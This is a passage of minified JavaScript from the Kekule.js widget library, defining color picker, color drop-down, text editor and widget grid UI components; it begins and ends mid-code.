t=e.getKeyCode();if(!(e.getAltKey()||e.getShiftKey()||e.getCtrlKey())){var i,n=this.getActiveRow();if(n)t===Kekule.X.Event.KeyCode.UP?i=this.getPrevRow(n):t===Kekule.X.Event.KeyCode.DOWN&&(i=this.getNextRow(n)),i&&this.setActiveRow(i)}},react_keyup:function(e){var t=e.getKeyCode();t===Kekule.X.Event.KeyCode.ESC?this.cancelEditing():t===Kekule.X.Event.KeyCode.ENTER&&this.finishEditing()},react_blur:function(e){}}),Kekule.Widget.ValueListEditor.ValueDisplayMode={SIMPLE:0,JSON:1};var n=Kekule.Widget.ValueListEditor.ValueDisplayMode}(),function(){"use strict";Kekule.DomUtils,Kekule.HtmlElementUtils;var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{COLORPICKER:"K-ColorPicker",COLORPICKER_HEADER:"K-ColorPicker-Header",COLORPICKER_SPEC_COLOR_PALETTE:"K-ColorPicker-Spec-Color-Palette",COLORPICKER_HEXBOX:"K-ColorPicker-HexBox",COLORPICKER_PREVIEWER:"K-ColorPicker-Previewer",COLORPICKER_INPUT:"K-ColorPicker-Input",COLORPICKER_BROWSE_BTN:"K-ColorPicker-Browse-Btn",COLORPICKER_PALETTE:"K-ColorPicker-Palette",COLORPICKER_PALETTE_LINE:"K-ColorPicker-Palette-Line",COLORPICKER_PALETTE_CELL:"K-ColorPicker-Palette-Cell",COLORPICKER_PALETTE_CELL_TRANSPARENT:"K-ColorPicker-Palette-Cell-Transparent",COLORPICKER_SPEC_COLOR_UNSET:"K-Color-Unset",COLORPICKER_SPEC_COLOR_DEFAULT:"K-Color-Default",COLORPICKER_SPEC_COLOR_MIXED:"K-Color-Mixed",COLORPICKER_SPEC_COLOR_TRANSPARENT:"K-Color-Transparent",COLORDROPTEXTBOX:"K-ColorDropTextBox",COLORDROPBUTTON:"K-ColorDropButton",COLORPREVIEWER:"K-ColorPreviewer"}),Kekule.Widget.ColorPicker=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.ColorPicker",COLOR_VALUE_FIELD:"__$colorValue__",COLOR_TEXT_FIELD:"__$colorText__",COLOR_CLASS_FIELD:"__ $colorClass__",BINDABLE_TAG_NAMES:["div","span"],initialize:function(e){this.tryApplySuper("initialize",[e]),this.setUseCornerDecoration(!0),this.setValue("#000000"),this.setTouchAction("none")},initProperties:function(){this.defineProp("value",{dataType:DataType.STRING,setter:function(e){this.setPropStoreFieldValue("value",e),this.getHexBox().innerHTML=e||"&nbsp;",this.getPreviewer().style.backgroundColor=e||"transparent",this.getColorInput()&&(this.getColorInput().value=e)}}),this.defineProp("colorClassName",{dataType:DataType.STRING}),this.defineProp("specialColors",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("specialColors",e),this._recreateSpecialColorPaletteCells(this.getDocument(),this.getSpecialColorPalette())}}),this.defineProp("isDirty",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("hexBox",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("palette",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("previewer",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("colorInput",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("specialColorPalette",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("isPicking",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PRIVATE})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.COLORPICKER},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(e,t){var i=[];return i.push(this.doCreateHeader(e,t)),i.push(this.doCreatePalette(e,t)),i},doCreateHeader:function(t,i){var n=t.createElement("div");n.className=e.COLORPICKER_HEADER,n.appendChild(this.doCreateSpecialColorPalette(t)),n.appendChild(this.doCreateHexBox(t)),n.appendChild(this.doCreatePreviewer(t));var s=this.doCreateColorInput(t);if(s){n.appendChild(s);var r=this.doCreateColorDialogBtn(t);r&&r.appendToElem(n)}return i.appendChild(n),n},doCreateSpecialColorPalette:function(t){var i=t.createElement("div");return i.className=e.COLORPICKER_SPEC_COLOR_PALETTE,this._recreateSpecialColorPaletteCells(t,i),this.setSpecialColorPalette(i),i},_isPredefinedSpecialColor:function(e){var t=Kekule.Widget.ColorPicker.SpecialColors;return[t.UNSET,t.DEFAULT,t.MIXED,t.TRANSPARENT].indexOf(e)>=0},_getPredefinedSpecialColorInfo:function(t){var i=Kekule.Widget.ColorPicker.SpecialColors,n=[i.UNSET,i.DEFAULT,i.MIXED,i.TRANSPARENT],s=[e.COLORPICKER_SPEC_COLOR_UNSET,e.COLORPICKER_SPEC_COLOR_DEFAULT,e.COLORPICKER_SPEC_COLOR_MIXED,e.COLORPICKER_SPEC_COLOR_TRANSPARENT],r=[Kekule.$L("WidgetTexts.S_COLOR_UNSET"),Kekule.$L("WidgetTexts.S_COLOR_DEFAULT"),Kekule.$L("WidgetTexts.S_COLOR_MIXED"),Kekule.$L("WidgetTexts.S_COLOR_TRANSPARENT")],a={value:t},o=n.indexOf(t);return o>=0&&(a.text=r[o],a.className=s[o]),a},_recreateSpecialColorPaletteCells:function(e,t){Kekule.DomUtils.clearChildContent(t);var i=this.getSpecialColors();if(i&&i.length)for(var n=0,s=i.length;n<s;++n){var r,a=i[n],o={};DataType.isObjectValue(a)?o=a:this._isPredefinedSpecialColor(a)?o=this._getPredefinedSpecialColorInfo(a):o.value=a,r=this.doCreatePaletteCell(e,o.value,o.text,o.className),o.className&&Kekule.HtmlElementUtils.addClass(r,o.className),t.appendChild(r)}},doCreateHexBox:function(t){var i=t.createElement("span");return i.className=e.COLORPICKER_HEXBOX,i.innerHTML="&nbsp",this.setHexBox(i),i},doCreatePreviewer:function(t){var i=t.createElement("span");return i.className=e.COLORPICKER_PREVIEWER,i.innerHTML="&nbsp",this.setPreviewer(i),i},doCreateColorInput:function(t){if(Kekule.BrowserFeature.html5Form.supportType("color")){var i=t.createElement("input");i.setAttribute("type","color"),i.className=e.COLORPICKER_INPUT;var n=this;return Kekule.X.Event.addListener(i,"change",function(e){var t=i.value;n.setValue(t),n.notifyColorSet()}),this.setColorInput(i),i}return null},doCreateColorDialogBtn:function(t){if(Kekule.BrowserFeature.html5Form.supportType("color")){var i=new Kekule.Widget.Button(t);return i.setText(Kekule.$L("WidgetTexts.CAPTION_BROWSE_COLOR")),i.setHint(Kekule.$L("WidgetTexts.HINT_BROWSE_COLOR")),i.setShowText(!1),i.doSetShowGlyph(!0),i.linkStyleResource(Kekule.Widget.StyleResourceNames.ICON_COLOR_PICK),i.addClassName(e.COLORPICKER_BROWSE_BTN),i.addEventListener("execute",this.openColorDialog,this),i}},doCreatePalette:function(t,i){var n=t.createElement("div");n.className=e.COLORPICKER_PALETTE;for(var s=["00","00","11","22","33","44","55","66","77","88","99","AA","BB","CC","DD","EE","FF",null],r=s.length,a=this.doCreatePaletteLine(t),o=0;o<r;o++){var l=s[o]?"#"+s[o]+s[o]+s[o]:"transparent",u=this.doCreatePaletteCell(t,l);a.appendChild(u)}n.appendChild(a);for(r=(s=["00","33","66","99","CC","FF"]).length,o=0;o<r;o++){a=this.doCreatePaletteLine(t);for(var d=0;d<r>>1;d++)for(var h=0;h<r;h++){l="#"+s[d]+s[o]+s[h],u=this.doCreatePaletteCell(t,l);a.appendChild(u)}n.appendChild(a)}for(o=0;o<r;o++){for(a=this.doCreatePaletteLine(t),d=r>>1;d<r;d++)for(h=0;h<r;h++){l="#"+s[d]+s[o]+s[h],u=this.doCreatePaletteCell(t,l);a.appendChild(u)}n.appendChild(a)}return i.appendChild(n),this.setPalette(n),n},doCreatePaletteCell:function(t,i,n,s){var r=t.createElement("span"),a=e.COLORPICKER_PALETTE_CELL;if("transparent"===i)a+=" "+e.COLORPICKER_PALETTE_CELL_TRANSPARENT;else try{r.style.backgroundColor=i}catch(e){}return r[this.COLOR_VALUE_FIELD]=i,r[this.COLOR_TEXT_FIELD]=n||i,r[this.COLOR_CLASS_FIELD]=s,r.className=a,r.title=n||i,r},doCreatePaletteLine:function(t){var i=t.createElement("div");return i.className=e.COLORPICKER_PALETTE_LINE,i},_isPaletteCellElem:function(t){return Kekule.HtmlElementUtils.hasClass(t,e.COLORPICKER_PALETTE_CELL)},openColorDialog:function(){return this.getColorInput()&&this.getColorInput().click(),this},applyColor:function(e){var t=e[this.COLOR_VALUE_FIELD];t&&this.setValue(t);var i=e[this.COLOR_TEXT_FIELD];i&&(this.getHexBox().innerHTML=i);var n=e[this.COLOR_CLASS_FIELD];this.setColorClassName(n)},notifyColorSet:function(){this.setIsDirty(!0),this.invokeEvent("valueSet",{value:this.getValue(),colorClassName:this.getColorClassName()}),this.invokeEvent("valueChange",{value:this.getValue(),colorClassName:this.getColorClassName()})},doReactActiviting:function(e){this.tryApplySuper("doReactActiviting",[e]);var t=e.getTarget();if(this._isPaletteCellElem(t))return this.setIsPicking(!0),this.applyColor(t),!0},doReactDeactiviting:function(e){if(this.getIsPicking()){this.setIsPicking(!1);var t=e.getTarget();return this._isPaletteCellElem(t)&&this.applyColor(t),this.notifyColorSet(),!0}this.tryApplySuper("doReactDeactiviting",[e])},reactPointerMoving:function(e){if(this.tryApplySuper("reactPointerMoving",[e]),this.getIsPicking()){var t=e.getTarget();if(e.getTouches()){var i={x:e.getClientX(),y:e.getClientY()},n=this.getDocument();t=n.elementFromPoint&&n.elementFromPoint(i.x,i.y)||t,e.preventDefault()}return t&&this._isPaletteCellElem(t)&&this.applyColor(t),e.preventDefault(),!0}}}),Kekule.Widget.ColorPicker.SpecialColors={UNSET:"(unset)",DEFAULT:"(default)",MIXED:"(mixed)",TRANSPARENT:"transparent"},Kekule.Widget.ColorDropTextBox=Class.create(Kekule.Widget.ButtonTextBox,{CLASS_NAME:"Kekule.Widget.ColorDropTextBox",initialize:function(e,t){this.tryApplySuper("initialize",[e]),this.setButtonKind(Kekule.Widget.Button.Kinds.DROPDOWN),this.addEventListener("buttonExecute",this.reactDropbuttonExecute,this),this.setShowPreview(!0),t&&this.setValue(t)},initProperties:function(){this.defineProp("showPreview",{dataType:DataType.BOOL,setter:function(e){this.getPreviewElem().style.display=e?"inherit":""}}),this.defineProp("colorClassName",{dataType:DataType.STRING,setter:function(e){var t=this.getPreviewElem();if(t){var i=this.getColorClassName();i&&Kekule.HtmlElementUtils.removeClass(t,i),e&&Kekule.HtmlElementUtils.addClass(t,e)}this.setPropStoreFieldValue("colorClassName",e)}}),this.defineProp("colorPicker",{dataType:"Kekule.Widget.ColorPicker",setter:null,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("colorPicker");return e||((e=new Kekule.Widget.ColorPicker(this)).setDisplayed(!1),e.getElement().style.position="absolute",e.setSpecialColors(this.getSpecialColors()),e.addEventListener("valueChange",this.reactColorPickerValueSet,this),e.appendToElem(this.getElement()),this.setPropStoreFieldValue("colorPicker",e)),e}}),this.defineProp("specialColors",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("specialColors",e);var t=this.getPropStoreFieldValue("colorPicker");t&&t.setSpecialColors(e)}})},doFinalize:function(){var e=this.getPropStoreFieldValue("colorPicker");e&&e.finalize(),this.tryApplySuper("doFinalize")},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.COLORDROPTEXTBOX},doCreateSubElements:function(t,i){this.tryApplySuper("doCreateSubElements",[t,i]);var n=new Kekule.Widget.DumbWidget(this);return n.addClassName(e.COLORPREVIEWER),this.setHeadingWidget(n),[n.getElement()]},getPreviewElem:function(){var e=this.getHeadingWidget();if(e)return e.getElement()},showColorPicker:function(){var e=this.getColorPicker();e.isShown()||(e.setValue(this.getValue()),e.show(this,null,Kekule.Widget.ShowHideType.DROPDOWN))},hideColorPicker:function(){var e=this.getPropStoreFieldValue("colorPicker");e&&e.isShown()&&e.hide()},reactDropbuttonExecute:function(e){this.showColorPicker()},reactColorPickerValueSet:function(e){var t=e.value;this.setValue(t),this.setIsDirty(this.getIsDirty()||this.getColorPicker().getIsDirty()),this.setColorClassName(e.colorClassName),this.hideColorPicker(),e.stopPropagation()},doSetValue:function(e){this.tryApplySuper("doSetValue",[e]);var t=this.getPreviewElem();t&&(t.style.backgroundColor="transparent",t.style.backgroundColor=e)}}),Kekule.Widget.ColorDropButton=Class.create(Kekule.Widget.DropDownButton,{CLASS_NAME:"Kekule.Widget.ColorDropButton",initialize:function(e,t){this.tryApplySuper("initialize",[e]),this.setButtonKind(Kekule.Widget.Button.Kinds.DROPDOWN),this.setShowPreview(!0),t&&this.setValue(t)},initProperties:function(){this.defineProp("showPreview",{dataType:DataType.BOOL,setter:function(e){try{this.getPreviewElem().style.display=e?"inherit":""}catch(e){}}}),this.defineProp("value",{dataType:DataType.STRING,getter:function(){return this.getText()},setter:function(e){this.setText(e),this.updateColorPreview(e);var t=this.getPropStoreFieldValue("colorPicker");t&&t.setValue(e)}}),this.defineProp("colorClassName",{dataType:DataType.STRING,setter:function(e){var t=this.getPreviewElem();if(t){var i=this.getColorClassName();i&&Kekule.HtmlElementUtils.removeClass(t,i),e&&Kekule.HtmlElementUtils.addClass(t,e)}this.setPropStoreFieldValue("colorClassName",e)}}),this.defineProp("colorPicker",{dataType:"Kekule.Widget.ColorPicker",setter:null,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("colorPicker");return e||((e=new Kekule.Widget.ColorPicker(this)).setDisplayed(!1),e.getElement().style.position="absolute",e.setSpecialColors(this.getSpecialColors()),e.addEventListener("valueChange",this.reactColorPickerValueSet,this),this.setPropStoreFieldValue("colorPicker",e)),e}}),this.defineProp("specialColors",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("specialColors",e);var t=this.getPropStoreFieldValue("colorPicker");t&&t.setSpecialColors(e)}}),this.defineProp("isDirty",{dataType:DataType.BOOL,serializable:!1,getter:function(){return this.getColorPicker().getIsDirty()},setter:function(e){this.getColorPicker().setIsDirty(e)}})},doFinalize:function(){var e=this.getPropStoreFieldValue("colorPicker");e&&e.finalize(),this.tryApplySuper("doFinalize")},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.COLORDROPBUTTON},doGetDropDownWidget:function(){return this.getColorPicker()},getPreviewElem:function(){return this._elemLeadingGlyphPart},showColorPicker:function(){var e=this.getColorPicker();e.isShown()||(e.setValue(this.getValue()),e.show(this,null,Kekule.Widget.ShowHideType.DROPDOWN))},hideColorPicker:function(){var e=this.getPropStoreFieldValue("colorPicker");e&&e.isShown()&&e.hide()},reactColorPickerValueSet:function(e){var t=e.value,i=e.colorClassName;this.setValue(t),this.setColorClassName(i),this.hideColorPicker(),this.invokeEvent("valueChange",{value:t}),e.stopPropagation()},updateColorPreview:function(e){var t=this.getPreviewElem();t&&(t.style.backgroundColor="transparent",t.style.backgroundColor=e)}})}(),function(){"use strict";Kekule.DomUtils,Kekule.HtmlElementUtils;var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{TEXTEDITOR:"K-TextEditor",TEXTEDITOR_TOOLBAR:"K-TextEditor-Toolbar",TEXTEDITOR_TEXTAREA:"K-TextEditor-TextArea",TEXTEDITOR_FONTBOX:"K-TextEditor-FontBox",TEXTEDITOR_BTN_FONTSIZEINC:"K-TextEditor-Btn-FontSizeInc",TEXTEDITOR_BTN_FONTSIZEDEC:"K-TextEditor-Btn-FontSizeDec",TEXTEDITOR_BTN_TEXTWRAP:"K-TextEditor-Btn-TextWrap"}),Kekule.Widget.TextEditor=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.TextEditor",BINDABLE_TAG_NAMES:["div","span"],DEF_TOOLBAR_COMPONENTS:["fontFamily","fontSizeInc","fontSizeDec","textWrap"],DEF_AUTOWRAP_THRESHOLD:80,initialize:function(e){this._toolCompWidgets=[],this.setPropStoreFieldValue("showToolbar",!0),this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,serializable:!1,getter:function(){var e=this.getTextArea();return e?e.getText():null},setter:function(e){var t=this.getTextArea();t&&(t.setText(e),this._checkAutoWrap())}}),this.defineProp("readOnly",{dataType:DataType.BOOL,serializable:!1,getter:function(){return this.getTextArea().getReadOnly()},setter:function(e){return this.getTextArea().setReadOnly(e)}}),this.defineProp("wrap",{dataType:DataType.STRING,serializable:!1,getter:function(){return this.getTextArea().getWrap()},setter:function(e){var t=this.getTextArea().setWrap(e);return this.updateToolButtonStates(),t}}),this.defineProp("autoWrapThreshold",{dataType:DataType.INT,setter:function(e){var t=!0===e?this.DEF_AUTOWRAP_THRESHOLD:e;this.setPropStoreFieldValue("autoWrapThreshold",t),this._checkAutoWrap()}}),this.defineProp("textArea",{dataType:"Kekule.Widget.TextArea",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE,getter:function(){var e=this.getPropStoreFieldValue("textArea");return e||(e=this.createTextArea(),this.setPropStoreFieldValue("textArea",e)),e}}),this.defineProp("toolbar",{dataType:"Kekule.Widget.Toolbar",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE,getter:function(){var e=this.getPropStoreFieldValue("toolbar");return e||this.getShowToolbar()&&(e=this.createToolbar(),this.setPropStoreFieldValue("styleToolbar",e)),e}}),this.defineProp("showToolbar",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showToolbar",e),this.getToolbar().setDisplayed(e)}}),this.defineProp("toolbarPos",{dataType:DataType.INT,setter:function(e){this.setPropStoreFieldValue("toolbarPos",e),this.updateChildWidgetPos()}}),this.defineProp("toolbarComponents",{dataType:DataType.ARRAY,serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("toolbarComponents");return e||(e=null,this.setPropStoreFieldValue("toolbarComponents",e)),e},setter:function(e){this.setPropStoreFieldValue("toolbarComponents",e),this.recreateToolbarComponents(e)}}),this.defineProp("candidateFontFamilies",{dataType:DataType.ARRAY}),this.defineProp("fontSizeLevel",{dataType:DataType.FLOAT,setter:function(e){this.setPropStoreFieldValue("fontSizeLevel",e),this.setTextStyle({fontSize:e+"em"})}})},finalize:function(){this._finalizeSubElements(),this.tryApplySuper("finalize")},_finalizeSubElements:function(){var e=this.getTextArea();e&&e.finalize()},getCoreElement:function(){var e=this.getTextArea();return e?e.getElement():this.tryApplySuper("getCoreElement")},getChildrenHolderElement:function(){return this.getElement()},doSetValue:function(e){this.tryApplySuper("doSetValue",[e]),this._checkAutoWrap()},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.TEXTEDITOR},doCreateRootElement:function(e){return e.createElement("span")},doCreateSubElements:function(e,t){var i=this.createToolbar();i&&i.appendToElem(t);var n=this.createTextArea();return n.appendToElem(t),this.updateChildWidgetPos(),[i.getElement(),n.getElement()]},doWidgetShowStateChanged:function(e){this.tryApplySuper("doWidgetShowStateChanged",[e]),e&&(this.updateChildWidgetPos(),this.updateToolButtonStates())},doFileDragDrop:function(e){if(e){if(Kekule.BrowserFeature.fileapi){var t=this,i=new FileReader;i.onload=function(e){var n=i.result;t.setText(n)},i.readAsText(e[0])}return!0}return this.tryApplySuper("doFileDragDrop")},createToolbar:function(){if(this.getShowToolbar()){var t=new Kekule.Widget.Toolbar(this);return this.setPropStoreFieldValue("toolbar",t),t.addClassName(e.TEXTEDITOR_TOOLBAR),this.recreateToolbarComponents(),t}return null},recreateToolbarComponents:function(e){e||(e=this.getToolbarComponents());var t=e||this.DEF_TOOLBAR_COMPONENTS,i=this.getToolbar();if(i){var n;this._toolCompWidgets.length=0,i.clearWidgets(),i.setShowText(!1),i.setShowGlyph(!0);for(var s=0,r=t.length;s<r;++s){var a=t[s];n="fontFamily"===a?this.createFontFamilyComboBox(i):this.createToolButton(i,a),this._toolCompWidgets[a]=n}this.updateToolButtonStates()}},createFontFamilyComboBox:function(t){for(var i=new Kekule.Widget.ComboBox(t),n=Kekule.Widget.FontEnumerator.getAvailableFontFamilies(this.getCandidateFontFamilies()),s=[],r=0,a=n.length;r<a;++r)s.push({text:n[r],value:n[r]});return i.setHint(Kekule.$L("WidgetTexts.HINT_CHOOSE_FONT_FAMILY")),i.addClassName(e.TEXTEDITOR_FONTBOX),i.setItems(s),i.appendToWidget(t),i.addEventListener("valueChange",function(e){this.setTextStyle({fontFamily:i.getValue()})},this),i},createToolButton:function(t,i){var n,s,r,a=new("textWrap"===i?Kekule.Widget.CheckButton:Kekule.Widget.Button)(t);return a.appendToWidget(t),"textWrap"===i?(n=Kekule.$L("WidgetTexts.CAPTION_TOGGLE_TEXTWRAP"),s=Kekule.$L("WidgetTexts.HINT_TOGGLE_TEXTWRAP"),r=e.TEXTEDITOR_BTN_TEXTWRAP,a.setChecked("off"!==this.getWrap()),a.addEventListener("checkChange",function(e){var t=a.getChecked();this.setWrap(t?"soft":"off")},this)):"fontSizeInc"===i?(n=Kekule.$L("WidgetTexts.CAPTION_INC_TEXT_SIZE"),s=Kekule.$L("WidgetTexts.HINT_INC_TEXT_SIZE"),r=e.TEXTEDITOR_BTN_FONTSIZEINC,a.addEventListener("execute",this.increaseTextSize,this)):"fontSizeDec"===i&&(n=Kekule.$L("WidgetTexts.CAPTION_DEC_TEXT_SIZE"),s=Kekule.$L("WidgetTexts.HINT_DEC_TEXT_SIZE"),r=e.TEXTEDITOR_BTN_FONTSIZEDEC,a.addEventListener("execute",this.decreaseTextSize,this)),a.setText(n),a.setHint(s),a.addClassName(r),a},createToolCheckButton:function(e,t){var i=new Kekule.Widget.CheckButton(e);return i.appendToWidget(e),i},getToolbarComponentWidget:function(e){return this._toolCompWidgets[e]},createTextArea:function(){var t=new Kekule.Widget.TextArea(this);return this.setPropStoreFieldValue("textArea",t),t.addClassName(e.TEXTEDITOR_TEXTAREA),t.addEventListener("valueChange",this._checkAutoWrap,this),t.addEventListener("valueInput",this._checkAutoWrap,this),t},updateChildWidgetPos:function(){var e=this.getToolbarPos(),t=this.getToolbar().getElement(),i=this.getTextArea().getElement(),n=t.parentNode;e===Kekule.Widget.Position.BOTTOM?n.insertBefore(i,t):n.insertBefore(t,i)},updateToolButtonStates:function(){var e=this._toolCompWidgets.textWrap;e&&e.setChecked("off"!==this.getWrap())},setTextStyle:function(e){var t=this.getTextArea();if(t)for(var i=Kekule.ObjUtils.getOwnedFieldNames(e),n=0,s=i.length;n<s;++n){var r=i[n];t.setStyleProperty(r,e[r])}return this},increaseTextSize:function(){var e=this.getFontSizeLevel()||1,t=Kekule.ZoomUtils.getNextZoomInRatio(e);this.setFontSizeLevel(t)},decreaseTextSize:function(){var e=this.getFontSizeLevel()||1,t=Kekule.ZoomUtils.getNextZoomOutRatio(e);this.setFontSizeLevel(t)},_checkAutoWrap:function(){var e=this.getAutoWrapThreshold();if(e){var t=this.getToolbarComponentWidget("textWrap"),i=((this.getWrap()||"").toLowerCase(),this.getValue()||""),n=i.split("\n").length,s=i.length/n;t.setChecked(s>e)}}})}(),function(){"use strict";var e=Kekule.ArrayUtils,t=Kekule.StyleUtils,i=Kekule.DomUtils,n=Kekule.HtmlElementUtils;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{WIDGET_GRID:"K-Widget-Grid",WIDGET_GRID_CELL:"K-Widget-Grid-Cell",WIDGET_GRID_ADD_CELL:"K-Widget-Grid-Add-Cell",WIDGET_GRID_INTERACTION_AREA:"K-Widget-Grid-Interaction-Area",WIDGET_GRID_WIDGET_PARENT:"K-Widget-Grid-Widget-Parent",WIDGET_GRID_BUTTON_REMOVE:"K-Widget-Grid-Button-Remove",WIDGET_GRID_ENABLE_CELL_INTERACTION:"K-Widget-Grid-Enable-Cell-Interaction"});var s=Kekule.Widget.HtmlClassNames;Kekule.Widget.WidgetGrid=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.WidgetGrid",CELL_FIELD:"__$cell__",WIDGET_FIELD:"__$cellWidget__",INTERACTION_AREA_FIELD:"__$interactionArea__",EXCEED_TOPRIGHT_FIELD:"__$exceedTopRight__",BTN_REMOVE_CELL_FIELD:"__$removeCell__",initialize:function(e){this._floatClearer=null,this.reactCellMouseEnterBind=this.reactCellMouseEnter.bind(this),this.reactCellMouseLeaveBind=this.reactCellMouseLeave.bind(this),this.reactCellClickBind=this.reactCellClick.bind(this),this.tryApplySuper("initialize",[e]),this.addEventListener("change",this.reactChildWidgetChange,this)},initProperties:function(){this.defineProp("childWidgetClass",{dataType:DataType.CLASS,serializable:!1}),this.defineProp("cellWidth",{dataType:DataType.STRING}),this.defineProp("cellHeight",{dataType:DataType.STRING}),this.defineProp("widgetPos",{dataType:DataType.INT,enumSource:Kekule.Widget.Position}),this.defineProp("autoShrinkWidgets",{dataType:DataType.BOOL}),this.defineProp("keepWidgetAspectRatio",{dataType:DataType.BOOL}),this.defineProp("restoreWidgetSizeOnHotTrack",{dataType:DataType.BOOL}),this.defineProp("enableAdd",{dataType:DataType.BOOL,setter:function(e){if(this.setPropStoreFieldValue("enableAdd",e),e)this.setAddingCell(this.createAddCell());else{var t=this.getAddingCell();t&&this.getContainerElement().removeChild(t)}}}),this.defineProp("enableRemove",{dataType:DataType.BOOL,getter:function(){return this.hasClassName(s.WIDGET_GRID_ENABLE_CELL_INTERACTION)},setter:function(e){e?this.addClassName(s.WIDGET_GRID_ENABLE_CELL_INTERACTION):this.removeClassName(s.WIDGET_GRID_ENABLE_CELL_INTERACTION)}}),this.defineProp("hotCell",{dataType:DataType.OBJECT,serializable:!1,setter:function(e){this.getHotCell()!==e&&(this.hotCellChanged(this.getHotCell(),e),this.setPropStoreFieldValue("hotCell",e))}}),this.defineProp("addingCell",{dataType:DataType.OBJECT,serializable:!1})},initPropValues:function(){this.setPropStoreFieldValue("autoShrinkWidgets",!0),this.setPropStoreFieldValue("keepWidgetAspectRatio",!0),this.setPropStoreFieldValue("restoreWidgetSizeOnHotTrack",!0),this.setEnableRemove(!0),this.setUseCornerDecoration(!0)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+s.WIDGET_GRID},doCreateRootElement:function(e){return e.createElement("div")},doSetUseCornerDecoration:function(e){this.tryApplySuper("doSetUseCornerDecoration",[e]),this.updateAllCells()},doObjectChange:function(t){this.tryApplySuper("doObjectChange",[t]),e.intersect(t,["autoShrinkWidgets","keepWidgetAspectRatio","cellWidth","cellHeight","widgetPos"]).length>0&&this.updateAllCells()},doWidgetShowStateChanged:function(e){return e&&this.updateAllCells(),this.tryApplySuper("doWidgetShowStateChanged",[e])},each:function(e){for(var t=Kekule.ArrayUtils.clone(this.getChildWidgets()),i=0,n=t.length;i<n;++i)e(t[i])},addWidget:function(e){e.setParent(this)},removeWidget:function(e,t){this.hasChild(e)&&(e.setParent(null),t&&e.finalize())},createWidget:function(){var e=this.doCreateNewChildWidget(this.getDocument());if(e)return e.setParent(this),e},doCreateNewChildWidget:function(e){return null},getFloatClearer:function(){return this._floatClearer||(this._floatClearer=this.getDocument().createElement("div"),this._floatClearer.style.clear="both",this.getContainerElement().appendChild(this._floatClearer)),this._floatClearer},createCell:function(e){var t=!e,i=this.getDocument(),n=i.createElement("div");n.className=s.WIDGET_GRID_CELL+" "+s.DYN_CREATED+(t?" "+s.WIDGET_GRID_ADD_CELL:""),n[this.WIDGET_FIELD]=e,Kekule.X.Event.addListener(n,"mouseenter",this.reactCellMouseEnterBind),Kekule.X.Event.addListener(n,"mouseleave",this.reactCellMouseLeaveBind),Kekule.X.Event.addListener(n,"click",this.reactCellClickBind);var r=i.createElement("div");if(r.className=s.WIDGET_GRID_WIDGET_PARENT+" "+s.DYN_CREATED,r[this.WIDGET_FIELD]=e,t&&(r.innerHTML=Kekule.$L("WidgetTexts.CAPTION_ADD_CELL"),r.title=Kekule.$L("WidgetTexts.HINT_ADD_CELL")),n.appendChild(r),e&&(e.appendToElem(r),e[this.CELL_FIELD]=n),!t){var a=i.createElement("div");a.className=s.WIDGET_GRID_INTERACTION_AREA+" "+s.DYN_CREATED,n.appendChild(a),r[this.INTERACTION_AREA_FIELD]=a,n[this.INTERACTION_AREA_FIELD]=a,this.createCellInteractionWidgets(a,n)}return this.getAddingCell()&&!t?this.getContainerElement().insertBefore(n,this.getAddingCell()):this.getContainerElement().insertBefore(n,this.getFloatClearer()),this.updateCell(n),n},createAddCell:function(){return this.createCell(null)},createCellInteractionWidgets:function(e,t){var i=new Kekule.Widget.Button(e.ownerDocument);i.setText(Kekule.$L("WidgetTexts.CAPTION_REMOVE_CELL")),i.setHint(Kekule.$L("WidgetTexts.HINT_REMOVE_CELL")),i.addClassName(s.WIDGET_GRID_BUTTON_REMOVE),i[this.BTN_REMOVE_CELL_FIELD]=!0;var n=this.getContainingWidget(t);i[this.WIDGET_FIELD]=n,i.setShowText(!1),i.setShowGlyph(!0),i.addEventListener("execute",function(e){var t=e.widget[this.WIDGET_FIELD];this.removeWidget(t,!0)},this),i.appendToElem(e)},getWidgetCell:function(e){return e[this.CELL_FIELD]},getWidgetParentElem:function(e){var t=e.getElement();return t&&t.parentNode},getWidgetParentElemOfCell:function(e){return e.children[0]},getInteractionAreaElemOfCell:function(e){return e[this.INTERACTION_AREA_FIELD]},getContainingWidget:function(e){return e[this.WIDGET_FIELD]},childWidgetAdded:function(e){this.tryApplySuper("childWidgetAdded",[e]),this.createCell(e)},childWidgetRemoved:function(e){this.tryApplySuper("childWidgetRemoved",[e]);var 